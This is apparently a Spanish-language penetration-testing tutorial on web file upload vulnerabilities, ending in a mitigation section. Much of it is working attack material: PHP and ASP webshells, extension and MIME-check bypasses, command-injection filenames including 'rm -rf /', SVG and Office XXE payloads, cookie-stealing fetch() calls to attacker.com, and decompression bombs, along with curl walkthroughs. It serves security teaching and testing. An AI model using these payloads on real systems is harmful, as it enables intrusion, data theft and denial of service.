Skip to content

File Upload Attacks

File upload vulnerabilities son una de las vulnerabilidades más peligrosas en aplicaciones web, permitiendo a los atacantes subir archivos maliciosos que pueden llevar a ejecución remota de código (RCE), inclusión local de archivos (LFI), inyecciones XML (XXE), y ataques de denegación de servicio (DoS).


Categorización de Vulnerabilidades de File Upload

Las vulnerabilidades de file upload se pueden agrupar en tres categorías principales:

1. Ejecución Directa de Archivos Subidos

Vulnerabilidades que permiten subir archivos ejecutables (PHP, ASP, JSP, etc.) que son procesados directamente por la aplicación web, resultando en ejecución remota de código.

2. Combinación con Otras Vulnerabilidades

Combinación de file upload con directory traversal, XXE, XSS, o SSRF para amplificar el impacto de la explotación.

3. Vulnerabilidades Basadas en Interacción del Usuario

Ataques que requieren que el usuario interactúe con el archivo subido (ej. macros en documentos Office). Este tipo está fuera del alcance de esta guía.


Identificación de Mecanismos de Upload

Ubicaciones Comunes de Upload

  • CMS (Content Management Systems): Avatar de perfil, creación de posts, archivos adjuntos
  • Aplicaciones empresariales: Secciones de carreras (CVs), cargas de documentos, galerías
  • Aplicaciones de usuario: Perfiles de usuario, fotos, documentos
  • Formularios de feedback/contacto: Evidencia, adjuntos, archivos de soporte

Herramientas para Identificación

  • Wappalyzer (extensión navegador): Identifica tecnologías web (Apache, PHP, versiones)
  • Burp Suite / OWASP ZAP: Escaneo activo de vulnerabilidades
  • curl/wget: Pruebas manuales y fuzzing
  • exiftool: Manipulación de metadatos de archivos

Identificación del Framework Web

Antes de explotar, es crucial identificar qué lenguaje/framework ejecuta la aplicación:

Métodos de Identificación

1. Prueba de Extensión en URLs

bash
# Probar diferentes extensiones en páginas conocidas
curl http://target.com/index.php
curl http://target.com/index.asp
curl http://target.com/index.aspx
curl http://target.com/index.jsp

2. Usar Wappalyzer Instalable en todos los navegadores principales, identifica:

  • Tipo y versión del servidor web
  • Lenguaje de programación
  • Sistema operativo backend
  • Librerías y frameworks

3. Análisis de Headers HTTP

bash
curl -I http://target.com
# Buscar headers como: Server, X-Powered-By, X-AspNet-Version

4. Fuzzing de Archivos

bash
# Usando SecLists para fuzzing de extensiones
# https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

Tipos de Validación Backend

1. Validación Ausente (Arbitrary File Upload)

Riesgo: CRÍTICO

La aplicación no valida ningún aspecto del archivo subido.

Explotación:

bash
# Crear un webshell PHP simple
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Subir a través del formulario
# Acceder: http://target.com/uploads/shell.php?cmd=id

Webshell PHP Manual:

php
<?php system($_REQUEST['cmd']); ?>

Webshell ASP Manual:

asp
<% eval request('cmd') %>

2. Validación de Extensión - Blacklist

Riesgo: ALTO

La aplicación bloquea una lista de extensiones peligrosas.

Vulnerabilidad: Lista no Completa

Apache y otros servidores pueden ejecutar múltiples extensiones:

  • .php, .php3, .php4, .php5, .php7, .phps, .phtml, .phar

Bypass #1: Extensiones Alternativas

Método: Usar extensiones menos comunes que no están en la blacklist

bash
# Intentar estas extensiones si .php está bloqueado:
# .php5, .php7, .phps, .phtml, .phar, .inc, .shtml

# Ejemplo en Burp Intruder:
# Fuzzear el nombre del archivo con wordlist de extensiones PHP
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst

Bypass #2: Case-Sensitivity

Windows servers tienen nombre de archivos case-insensitive:

bash
# En lugar de: shell.php
# Intentar: shell.pHP, shell.PhP, shell.pHp, shell.PHP

Bypass #3: Configuración de Servidor (.htaccess)

Si Apache es el servidor, se puede subir un archivo .htaccess para redefinir cómo ejecuta código:

Paso 1: Crear archivo .htaccess

AddType application/x-httpd-php .l33t

Este archivo le dice a Apache que trate archivos .l33t como PHP.

Paso 2: Subir .htaccess

c
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: application/x-php

AddType application/x-httpd-php .l33t

Paso 3: Subir webshell con extensión personalizada

c
Content-Disposition: form-data; name="avatar"; filename="shell.l33t"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Acceder: http://target.com/uploads/shell.l33t?cmd=id


3. Validación de Extensión - Whitelist

Riesgo: MEDIO

Solo se permiten extensiones específicas.

Bypass #1: Double Extensions

Si la whitelist es débil (usa regex sin $ al final):

php
// Código vulnerable
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}

El regex solo verifica si el nombre CONTIENE una extensión permitida, no si TERMINA con ella.

Explotación:

bash
# Nombre del archivo: shell.jpg.php
# Pasa la validación (contiene .jpg) pero se ejecuta como PHP
# Algunos servidores ejecutan la última extensión

Request HTTP:

c
Content-Disposition: form-data; name="avatar"; filename="shell.jpg.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Bypass #2: Reverse Double Extension

Depende de misconfiguraciones del servidor Apache:

xml
<!-- En /etc/apache2/mods-enabled/php7.4.conf -->
<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

Sin $ al final, coincide con cualquier archivo que CONTENGA .php:

Explotación:

bash
# Archivo: shell.php.jpg
# - Pasa whitelist (termina en .jpg)
# - Apache ejecuta como PHP (contiene .php)

Request HTTP:

c
Content-Disposition: form-data; name="avatar"; filename="shell.php.jpg"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

Acceder: http://target.com/uploads/shell.php.jpg?cmd=id

Bypass #3: Character Injection

Inyectar caracteres especiales que confundan al servidor:

Caracteres útiles:

  • %00 (Null Byte - PHP <5.3.4)
  • %20 (Espacio)
  • %0a (Newline)
  • : (Windows Stream)
  • / (Path separator)
  • %0d0a (CRLF)

Ejemplos:

bash
# PHP 5.3.3 y anteriores
# shell.php%00.jpg → guardado como shell.php

# Windows servers
# shell.aspx:.jpg → guardado como shell.aspx (Alternate Data Stream)

# Scripts de fuzzing
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

4. Validación de Content-Type

Riesgo: BAJO

La aplicación verifica el header Content-Type enviado por el cliente.

Vulnerabilidad: El Content-Type es controlado por el cliente, no es confiable.

Bypass: Cambiar Content-Type

c
// Request original (bloqueado)
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

// Request modificado (permitido)
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>

Herramientas:

  • Burp Suite Repeater: Interceptar y modificar requests
  • curl: curl -F "file=@shell.php" -H "Content-Type: image/png" http://target.com/upload

5. Validación de MIME-Type / Magic Bytes

Riesgo: MEDIO-ALTO

La aplicación verifica el contenido del archivo (primeros bytes - "Magic Bytes").

Ejemplos de Magic Bytes:

  • GIF: GIF87a o GIF89a
  • PNG: \x89PNG\r\n\x1a\n
  • JPEG: \xFF\xD8\xFF
  • ZIP: PK\x03\x04

Bypass: Agregar Magic Bytes

bash
# Crear archivo PHP con signature de GIF
echo -n 'GIF8' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

# Verificar con file command
file shell.php
# Output: GIF image data, version 8a

# Subir como shell.php (not shell.gif)
# El servidor detectará MIME-Type como GIF pero ejecutará PHP

Script Python para crear polyglot:

python
#!/usr/bin/env python3
import sys

gif_header = b'GIF89a'
php_code = b'<?php system($_GET["cmd"]); ?>'

with open('polyglot.php', 'wb') as f:
    f.write(gif_header)
    f.write(php_code)

print("[+] Archivo polyglot creado: polyglot.php")

Bypass sin Cambiar Extensión

Validación del Cliente (Front-End)

Vulnerabilidad: Validación JavaScript que puede ser deshabilitada.

Método 1: Intercepción y Modificación de Request

bash
# 1. Capturar request con Burp Suite
# 2. Cambiar filename a shell.php
# 3. Cambiar Content-Type a image/png
# 4. Cambiar contenido del archivo a código PHP
# 5. Enviar request

Método 2: Deshabilitar Validación JavaScript

En Firefox:

bash
# 1. Abrir DevTools (F12)
# 2. Inspector > seleccionar campo de upload
# 3. Modificar HTML: eliminar onchange="checkFile()" y accept="..."
# 4. Subir archivo PHP normalmente

Script JavaScript para ejecutar en console:

javascript
// Remover validaciones del formulario
document.getElementById('uploadFile').removeAttribute('accept');
document.getElementById('uploadFile').removeAttribute('onchange');
document.getElementById('submit').removeAttribute('disabled');

Path Traversal en Uploads

Riesgo: ALTO

Inyectar path traversal en el nombre del archivo para escribir en directorios arbitrarios.

Bypass #1: Directory Traversal en Filename

bash
# Intención: escribir en /var/www/html en vez de /uploads
# Nombre: ../shell.php

# URL Encoded: ..%2fshell.php
# URL Encoded double: ..%252fshell.php

# Ejemplo en POST
Content-Disposition: form-data; name="avatar"; filename="..%2fshell.php"

Acceder:

bash
# En vez de: http://target.com/uploads/shell.php
# Acceder a: http://target.com/shell.php

Ataques Avanzados

1. Archivos Polyglot

Un archivo que es válido en múltiples formatos simultáneamente.

Usando exiftool para crear PNG/PHP polyglot

bash
# Crear archivo polyglot: PNG válido + PHP ejecutable
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.png -o polyglot.php

# El archivo:
# - Es una imagen PNG válida (los visores la abren correctamente)
# - Contiene código PHP en metadatos (ejecutable por servidor)
# - Puede pasar validaciones de MIME-Type y magic bytes

Herramientas útiles:

  • exiftool: Manipular metadatos (https://exiftool.org)
  • imagemagick: Modificar imágenes
  • jpegoptim: Comprimir JPEGs

2. Inyecciones en Nombre de Archivo

El nombre del archivo podría ser procesado por comandos del sistema.

Command Injection en Filename

bash
# Archivo: shell$(whoami).jpg
# Si se usa en comando: mv shell$(whoami).jpg /uploads/
# Se ejecutaría: whoami

# Variantes:
# shell`whoami`.jpg
# shell.jpg;rm -rf /
# shell.jpg||whoami

SQL Injection en Filename

bash
# Archivo: file';select+sleep(5);--.jpg
# Si se inserta en SQL sin escapar, causaría un time-based SQLi

XSS en Filename

bash
# Archivo: <script>alert(1)</script>.jpg
# Si se refleja en HTML sin encoding, causaría XSS

3. Attacks en Archivos Permitidos

Incluso si solo se permiten ciertos tipos, pueden ser explotables:

SVG + XXE

SVG es XML-based, vulnerable a XXE:

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(document.domain);</script>
</svg>

SVG + XXE para leer archivos

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>

SVG + XXE para leer código fuente (PHP)

xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<svg>&xxe;</svg>

SVG + XSS Basado en Eventos

xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100">
  <circle cx="50" cy="50" r="40" fill="red" onclick="fetch('http://attacker.com/?cookie=' + document.cookie)"/>
</svg>

Imagen con XSS en Metadatos

bash
# Usar exiftool para inyectar XSS en metadatos
exiftool -Comment="<img src=x onerror='fetch(\"http://attacker.com?c=\" + document.cookie)'>" image.jpg

# Si la aplicación muestra metadatos en HTML sin encoding, se ejecutará

HTML Upload

Si se permite HTML:

html
<html>
<body>
<img src="x" onerror="fetch('http://attacker.com/steal.php?c=' + document.cookie)">
</body>
</html>

Acceso directo: http://target.com/uploads/malicious.html

PDF/Office Documents + XXE

Office documents (.docx, .xlsx, .pptx) son archivos ZIP con XML dentro:

bash
# 1. Descomprimir el .docx
unzip malicious.docx -d extracted/

# 2. Modificar XML con XXE
# En extracted/word/document.xml:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE w:document [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document>
    <w:body>
        <w:p>
            <w:r>
                <w:t>&xxe;</w:t>
            </w:r>
        </w:p>
    </w:body>
</w:document>

# 3. Recomprimir
cd extracted && zip -r malicious.docx .

4. Denial of Service (DoS)

Decompression Bomb

Archivo ZIP con archives anidados que se expanden a tamaños enormes:

bash
# Crear bomb:
dd if=/dev/zero bs=1M count=1000 | gzip > bomb.gz
gzip -c bomb.gz >> bomb.gz  # Nesting

# La aplicación intenta descomprimir → consume toda la RAM → crash

Pixel Flood

Imagen JPG/PNG con metadatos manipulados para indicar tamaño falso:

bash
# Crear imagen 500x500, pero editar cabecera para decir 4294967295x4294967295 (4 gigapixeles)
# El servidor intenta asignar memoria para 4 gigapixeles → crash

Large File Upload

Subir archivo de tamaño excesivo para llenar disco:

bash
# Si no hay límite de tamaño:
dd if=/dev/zero bs=1M count=10000 of=bigfile.bin
curl -F "file=@bigfile.bin" http://target.com/upload

5. Ataques Windows-Específicos

Reserved Characters

Caracteres reservados en Windows pueden causar errores:

bash
# Archivo: shell|malicious.php
# Archivo: shell<payload>.php
# Archivo: shell>output.txt.php
# Archivo: shell*.php
# Archivo: shell?.php

Estos causan errores que pueden revelar la ruta de upload.

Reserved Names

Nombres reservados de Windows:

bash
# Intentar subir como:
# CON, COM1, COM2, LPT1, LPT2, NUL, PRN, AUX, CONIN$, CONOUT$

# Resultados: Error 403 o similar que revela información

8.3 Filename Convention

Windows antigua (años 80) usaba límite de 8 caracteres + extensión.

Los nombres largos se truncaban con ~1, ~2, etc.

bash
# hackthebox.txt puede ser:
# HAC~1.TXT, HAC~2.TXT, etc.

# Explotación: Overwrite archivos
# Subir: WEB~1.CON para overwrite web.conf
# O: APP~1.PHP para app.php

Disclosure de Directorio de Upload

Riesgo: MEDIO

Si no se conoce dónde se subieron los archivos, se puede descubrir mediante:

Métodos de Disclosure

1. Análisis de Código Fuente (si disponible)

  • Buscar rutas de upload en código PHP/ASP
  • Usar XXE o LFI para leer código fuente

2. Fuzzing de Directorios

bash
# Directorios comunes de upload
/uploads
/upload
/files
/documents
/attachments
/avatars
/profile_images
/public/uploads
/assets/uploads

# Fuzzing con SecLists
# https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt

gobuster dir -u http://target.com -w common.txt

3. Forzar Errores

bash
# - Subir archivo con nombre existente (puede revelar ruta)
# - Subir dos requests simultáneamente
# - Nombre muy largo (5000+ caracteres)
# - Caracteres especiales en nombre

4. Análisis de Response

bash
# La aplicación puede retornar:
# - "File uploaded to: /uploads/shell.php"
# - "Error: Could not write to /var/www/uploads/"
# - Headers con Location: /uploads/shell.php

5. Source-code Inspection

javascript
<!-- En HTML/JavaScript -->
<img src="/uploads/avatar_123.jpg">
<!-- Revela estructura de directorios -->

Prevención y Mitigación

1. Validación de Extensión (Backend)

Combinar Whitelist + Blacklist:

php
<?php
$fileName = basename($_FILES["uploadFile"]["name"]);

// Blacklist test (bloquear extensiones peligrosas)
if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) {
    echo "Restricted file type";
    die();
}

// Whitelist test (solo permitir lo necesario)
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
    echo "Only images are allowed";
    die();
}
?>

Reglas importantes:

  • Usar ^.*\.ext$ (comienza y TERMINA con extensión)
  • Implementar en backend (nunca confiar en cliente)
  • Bloquear extensiones peligrosas: .php, .php3-7, .phtml, .phar, .asp, .aspx, .jsp, .jspx
  • Whitelist es más seguro que blacklist

2. Validación de Contenido

php
<?php
$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// Validar extensión
if (!preg_match('/^.*\.png$/', $fileName)) {
    echo "Only PNG images allowed";
    die();
}

// Validar Content-Type header
if ($contentType !== 'image/png') {
    echo "Invalid Content-Type";
    die();
}

// Validar MIME-Type (magic bytes)
if ($MIMEtype !== 'image/png') {
    echo "File signature doesn't match PNG";
    die();
}

// Asegurar que extensión = contenido
// Si alguna validación falla, rechazar archivo
?>

Validaciones obligatorias:

  • Extensión
  • Content-Type header
  • MIME-Type (magic bytes)
  • Tamaño de archivo
  • Dimensiones (si es imagen)

3. Almacenamiento Seguro

php
<?php
// NO guardar con nombre original
// NO en directorio web-accessible
// SI en directorios fuera del webroot

$uploadDir = '/var/uploads/'; // Fuera de /var/www/html
$randomName = bin2hex(random_bytes(16)) . '.' . $extension;
move_uploaded_file($_FILES['uploadFile']['tmp_name'], $uploadDir . $randomName);

// Guardar mapping en database
// filename_original | filename_stored | user_id | timestamp
?>

4. Restricción de Acceso Directo

Opción 1: Usar Download Script

php
<?php
// download.php
$fileId = $_GET['id'];
$file = getFileFromDatabase($fileId); // Validar propiedad

// Validar autorización
if ($file['user_id'] !== getCurrentUserId()) {
    header("HTTP/1.1 403 Forbidden");
    die();
}

// Servir con headers seguros
header('Content-Disposition: attachment; filename="' . $file['original_name'] . '"');
header('Content-Type: application/octet-stream');
header('X-Content-Type-Options: nosniff');
readfile('/var/uploads/' . $file['stored_name']);
?>

Opción 2: Bloquear acceso directo

apache
# .htaccess en /uploads/
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

# Bloquear ejecución
php_flag engine off

# Retornar 403 para todo
<FilesMatch ".*">
    Deny from all
</FilesMatch>

5. Configuración del Servidor

PHP (php.ini)

ini
# Deshabilitar funciones peligrosas
disable_functions = exec,shell_exec,system,passthru,proc_open,popen,curl_exec,curl_multi_exec

# Limitar tamaño de upload
upload_max_filesize = 10M
post_max_size = 10M

# Limitar tiempo de ejecución
max_execution_time = 30

# Desabilitar URLs remotas
allow_url_include = Off
allow_url_fopen = Off

# Open basedir - restricción de acceso a archivos
open_basedir = /var/www/html:/var/uploads

Apache (apache2.conf)

apache
# Deshabilitar ejecución de scripts en directorio de uploads
<Directory /var/www/html/uploads>
    php_flag engine off
    SetHandler default-handler
    AddType text/plain .php .php3 .php4 .php5 .phtml
</Directory>

# Requerir autenticación para acceso directo
<Directory /var/uploads>
    Deny from all
</Directory>

6. Validación Adicional

php
<?php
$file = $_FILES['uploadFile'];
$fileName = basename($file['name']);
$fileTmpName = $file['tmp_name'];
$fileSize = $file['size'];

// 1. Verificar que se subió sin errores
if ($file['error'] !== UPLOAD_ERR_OK) {
    die("Upload error: " . $file['error']);
}

// 2. Verificar tamaño máximo
$maxSize = 10 * 1024 * 1024; // 10 MB
if ($fileSize > $maxSize) {
    die("File too large");
}

// 3. Verificar que es archivo real (not malicious upload)
if (!is_uploaded_file($fileTmpName)) {
    die("Suspicious file upload");
}

// 4. Verificar con finfo para MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mimeType = finfo_file($finfo, $fileTmpName);
finfo_close($finfo);

if (!in_array($mimeType, array('image/jpeg', 'image/png', 'image/gif'))) {
    die("Invalid file type");
}

// 5. Virus scanning (si servidor tiene ClamAV)
// exec("clamscan --quiet --infected $fileTmpName", $output, $return);
// if ($return !== 0) { die("Malware detected"); }
?>

7. Escaneo de Seguridad

  • Actualizar librerías: ImageMagick, FFmpeg, etc. regularmente
  • WAF (Web Application Firewall): ModSecurity con reglas OWASP CRS
  • Virus scanning: Integración con ClamAV u similar
  • Logging: Registrar intentos de upload sospechosos
  • Monitoreo: Alertas cuando se ejecutan archivos recién subidos

Herramientas Recomendadas

Fuzzing y Testing

Manipulación de Archivos

  • exiftool: Lectura/modificación de metadatos (https://exiftool.org)
  • ImageMagick: Manipulación de imágenes
  • ffmpeg: Manipulación de video/audio
  • xxd/hexdump: Inspección de bytes
  • file: Identificación de tipo de archivo

Shells y Exploits

Testing de MIME Types

bash
# Verificar tipo de archivo
file -i shell.php
file -b shell.php

# Verificar con finfo
php -r "echo mime_content_type('shell.php');"

Checklist de Penetration Testing

Al realizar un test de file upload, verificar:

  • [ ] ¿Existen funcionalidades de upload?
  • [ ] ¿Qué tipos de archivo se permiten (en frontend y backend)?
  • [ ] ¿Se valida extensión? ¿Blacklist o whitelist?
  • [ ] ¿Se valida Content-Type?
  • [ ] ¿Se valida MIME-Type (magic bytes)?
  • [ ] ¿Se puede cambiar nombre de archivo?
  • [ ] ¿Se permite path traversal en nombre?
  • [ ] ¿Se conoce la ruta de destino?
  • [ ] ¿Se puede acceder directamente a archivos subidos?
  • [ ] ¿Se ejecutan archivos en el directorio de uploads?
  • [ ] ¿Se valida tamaño de archivo?
  • [ ] ¿Hay límite de rate en uploads?
  • [ ] ¿Se registran uploads fallidos?
  • [ ] ¿Se pueden ver metadatos de archivos subidos?

Ejemplos Prácticos Completos

Ejemplo 1: RCE Simple con Validación Ausente

bash
# 1. Crear webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# 2. Subir a través de formulario
curl -F "file=@shell.php" http://target.com/upload.php

# 3. Ejecutar comandos
curl "http://target.com/uploads/shell.php?cmd=whoami"

Ejemplo 2: Bypass de Blacklist con .htaccess

bash
# 1. Crear .htaccess
echo "AddType application/x-httpd-php .l33t" > .htaccess

# 2. Subir .htaccess
curl -F "file=@.htaccess" http://target.com/upload.php

# 3. Crear webshell con extensión personalizada
echo '<?php system($_GET["cmd"]); ?>' > shell.l33t

# 4. Subir webshell
curl -F "file=@shell.l33t" http://target.com/upload.php

# 5. Ejecutar
curl "http://target.com/uploads/shell.l33t?cmd=id"

Ejemplo 3: Content-Type Bypass

bash
# Modificar Content-Type en Burp Repeater:
POST /upload.php HTTP/1.1
Host: target.com
Content-Length: 156
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['cmd']); ?>
------Boundary--

# O con curl:
curl -F "file=@shell.php;type=image/png" http://target.com/upload.php

Ejemplo 4: MIME-Type Bypass (GIF Magic Bytes)

bash
# 1. Crear archivo con GIF signature + PHP code
printf 'GIF89a' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php

# 2. Verificar
file shell.php
# Output: GIF image data, version 89a

# 3. Subir
curl -F "file=@shell.php" http://target.com/upload.php

# 4. Ejecutar
curl "http://target.com/uploads/shell.php?cmd=id"

Ejemplo 5: XXE con SVG

bash
# 1. Crear SVG con XXE
cat > malicious.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <text x="0" y="0">&xxe;</text>
</svg>
EOF

# 2. Subir SVG
curl -F "file=@malicious.svg" http://target.com/upload.php

# 3. Ver resultado en página (si metadatos se muestran)
curl http://target.com/uploads/malicious.svg

Conclusión

Las vulnerabilidades de file upload son críticas y requieren múltiples capas de validación:

  1. Backend validation siempre (extensión + contenido)
  2. Almacenamiento seguro (nombres aleatorios, fuera de webroot)
  3. Restricción de acceso (sin ejecución en upload dir)
  4. Configuración del servidor (disable_functions, open_basedir)
  5. Logging y monitoreo (detectar patrones sospechosos)

No confiar nunca en validación del cliente y siempre validar desde múltiples ángulos (extensión, MIME-type, magic bytes, tamaño, etc.).